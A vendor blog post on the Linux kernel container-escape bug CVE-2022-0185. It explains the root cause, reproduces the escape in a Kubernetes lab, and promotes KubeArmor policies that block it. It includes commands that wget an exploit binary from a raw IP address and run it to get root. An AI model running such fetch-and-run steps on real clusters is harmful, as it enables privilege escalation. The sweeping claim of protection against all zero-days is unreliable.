How to Protect from Common Vulnerabilities and Exposures CVE-2022-0185

Introduction

People consider Linux the most secure operating system, as it is open-source.
Even with all its might, vulnerabilities creep in the shadow, ready to strike.
In this blog, we’ll be taking a look at an infamous heap overflow
vulnerability discovered in 2022. The growth of the Kubernetes and containers
increased exponentially than the previous year. It led to finding a new Linux
Kernel Vulnerability, dubbed CVE-2022-0185, which was introduced to the build
three years ago and went undetected till 2022. Credits to William Liu and Jamie Hill-Daniel for discovering the
vulnerability CVE-2022-0185.

Before we get into details, let’s recall two basic security principles,
the Least Privilege Model, which states “components should only have access rights to only what are strictly
required to do their jobs, thereby denying any possibility of privilege
escalation” and the Zero-Trust Model, following the principle “never trust, always verify”.

Who is Vulnerable to this CVE?

Consider a running cluster with a Linux kernel version between 5.1 – 5.15 and
pods deployed with sys_admin capabilities. With the heap overflow attack, an attacker abuses the
functionality which lies on legacy_parse_param leading to an escape from
container environments and elevating privileges.

How does this work?

To better understand the vulnerability and how it is working, let’s go ahead
and replicate it in a controlled environment.

We will create a new Kubernetes cluster with Release channel as Rapid Channel and Version as 1.22.3-gke.700, leaving the remaining as default.gcloud

container clusters create “cve-demo” –zone “us-central1-c” –cluster-version “1.22.3-gke.700” –release-channel “rapid”

Kubernetes cluster

Now we have our cluster with Kernel version <5.16 ready. It’s time to
deploy an ubuntu pod and test the exploit.

For this, we have created an ubuntu image with gcc, make, curl, wget, and lsof pre-installed into it. The image also runs as a non-root
user. To ensure that the pod doesn't go into a completed state, we added the
command sleep infinity.

You can use the predefined deployment file to quickly deploy it to your
environment.

With this, the initial setup is completed. It's time to execute the exploit
and see if we can get a root shell poped using privilege escalation.

The Exploit

To explain the exploit, let's take a look at the root cause of this CVE,
 the offending function legacy_parse_param:

Well, how can we create an overflow from this scenario? You can see the
bound check to prevent overflows:

if (len > PAGE_SIZE -
2 - size)
return invalf(fc,
"VFS: Legacy: Cumulative options too large");

Code block

While this bound check will suffice for most cases, if your size is 4095 bytes
or greater, an integer underflow will occur as size, in this case, is an
unsigned int. Hence, trigger the underflow there, and you will get infinite
heap overflow.

This bug popped up since 5.1-rc1. It's important to note that you need the
CAP_SYS_ADMIN capability to trigger it, but the permission only needs to be
granted in the CURRENT NAMESPACE. Most unprivileged users can
unshare(CLONE_NEWNS|CLONE_NEWUSER) (the equivalent of the command unshare
-Urm) to enter a namespace with the CAP_SYS_ADMIN permission and abuse the bug
from there; this is what makes this such a dangerous vulnerability.

Let's see this in action.

To replicate the issue, we will execute it into our deployed ubuntu-pod

kubectl exec -it $(kubectl get po -lapp=ubuntu-pod -o name |
cut -d / -f2) -- bash

Ubuntu pod

Alright! Now we will get the exploit code and make it executable.

cd /home/demouser/
wget http://152.67.166.153/exploit
&& chmod +x exploit
./exploit

Code block 2

The exploit will run for a moment, does its magic, and present you with a
root shell.

As you can see, we went from demouser with id 1000 to root with id 0

Disabling the vulnerability with open-source AccuKnox products

KubeArmor is open-source software that enables you to protect your
cloud workload at run-time.

The problem that KubeArmor solves is that it can prevent cloud workloads from
executing malicious activity at run-time. Malicious activity can be any
activity that the workload was not designed for or is not supposed to do.

Given a policy, KubeArmor can restrict the following types of behavior on your
cloud workloads:

• File access - allow/deny specific paths
• Allow / deny Process execution / forking
• Allow / Deny Establish network connections
• Allow / Deny workloads to request other capabilities with the host os. Such
  capabilities can enable additional types of malicious behavior.

Cilium is an open-source project to provide eBPF-based
networking, security, and observability for cloud-native environments such as
Kubernetes clusters and other container orchestration platforms.

We were able to block RCE by enforcing a simple policy via KubeArmor; the
policy is as follows:

The Policy: In-action

You can take advantage of our open-source GitHub inventory or apply policy directly from here:

kubectl apply -f
https://raw.githubusercontent.com/kubearmor/policy-templates/main/cve/system/ksp-cve-2022-0185-block-container-escape.yaml

Once you apply the policy and execute the exploit from the container,
you'll get an error message, and the exploit will exit.

./exploit [*] Spraying kmalloc-32 [*] Opening ext4 filesystem fsopen: Remember to unshare

Code block

Checking the policy logs on KubeArmor

To check how to do it, kindly go through our help section

Blocked Log Created by KubeArmor

Kubearmour code block

Even though writing KubeArmor and CIlium (System and Network) policies is not
a big challenge, AccuKnox opensource has simplified one step further by
introducing a new CLI tool for Auto Discovered Policies. The Auto-Discovery module helps users identify the flow and generate
policies based on it.

Discovering policies has never been better with Auto Discovery. In two simple
commands, you can set up and generate policies without trouble.

To check how to do it, kindly go through our help section.

In mere seconds after installing Auto DIscovery, it generated 10 Cilium
policies and 9 KubeArmor policies.

These features by AccuKnox open-source makes sure that all the necessary
policies to secure your workload are generated and ready to be used in a
single click.

Accuknox's policy templates repository

Accuknox's policy templates is an open-source repo that contains a wide range
of attack prevention techniques, including MITRE and hardening techniques for
your workloads. Please visit GitHub - kubearmor/policy-templates: Community curated list of System and
Network policy templates for the KubeArmor and Cilium to download and apply policy templates.

Conclusion

Even though zero-day exploits are more brutal to avoid and protect from, with
AccuKnox opensource tools, you can prevent your workloads from possible
threats and vulnerabilities until you can get a permanent solution from the
vendor.

Using AccuKnox open-source tools, an organization can effectively protect
against all sorts of accidental developer-introduced vulnerabilities and
zero-day vulnerabilities even without having downtime or risky half-baked
patches.

Now you can protect your workloads in minutes using AccuKnox, it is available to protect your Kubernetes and other cloud workloads using
Kernel Native Primitives such as AppArmor, SELinux, and eBPF.

Let us know if you are seeking additional guidance in planning your
cloud security program.